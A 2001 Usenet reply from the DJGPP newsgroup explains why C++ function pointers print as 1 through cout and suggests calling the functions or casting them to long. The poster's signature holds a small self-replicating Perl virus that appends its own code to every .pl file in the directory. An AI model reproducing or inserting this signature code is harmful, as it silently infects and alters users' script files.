From: rpolzer AT www42 DOT t-offline DOT de (echo 'Rudolf Polzer'>/dev/null) Newsgroups: comp.os.msdos.djgpp Subject: Re: Printing function pointers References: <3AE082F7 DOT B4E9C05 AT jps DOT net> <9bqbrl$5ru$1 AT node17 DOT cwnet DOT frontiernet DOT net> X-newsgroup: comp.os.msdos.djgpp X-realname: Alexei A. Frounze X-Ringtones: http://ringtones AT durchnull DOT de X-Original: no Message-ID: User-Agent: slrn/0.9.6.3 (Linux) Date: Sat, 21 Apr 2001 11:22:38 +0200 Lines: 44 NNTP-Posting-Host: 213.6.45.59 X-Trace: 987847055 news.freenet.de 12251 213.6.45.59 X-Complaints-To: abuse AT freenet DOT de To: djgpp AT delorie DOT com DJ-Gateway: from newsgroup comp.os.msdos.djgpp Reply-To: djgpp AT delorie DOT com Alexei A. Frounze wrote: > "Dennis Yelle" wrote in message > news:3AE082F7 DOT B4E9C05 AT jps DOT net... > > I was surprised by the output from this program: > > --------------------- > > #include > > > > int junk1() { return 111; } > > > > int junk2() { return 222; } > > > > int main() > > { > > if ( junk1 != junk2 ) { > > cout << "different\n"; > > } > > cout << junk1 << '\n'; > > cout << junk2 << '\n'; > > return 0; > > } > > ---------------------- > > > > I got this: > > ---------------- > > different > > 1 > > 1 > > --------------- > > > > So, the function pointers are different, but > > they both print as 1. Is this expected, and desired > > behavior? Or is it a bug? > > have you tried to add () to junk1 and junk2? like this: junk1() != junk2() > and in the rest of the code? You could also try reinterpret_cast(junk1) and the same with junk2. This converts to long instead of bool. -- #!/usr/bin/perl eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X $0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"}); ####################### http://learn.to/quote #######################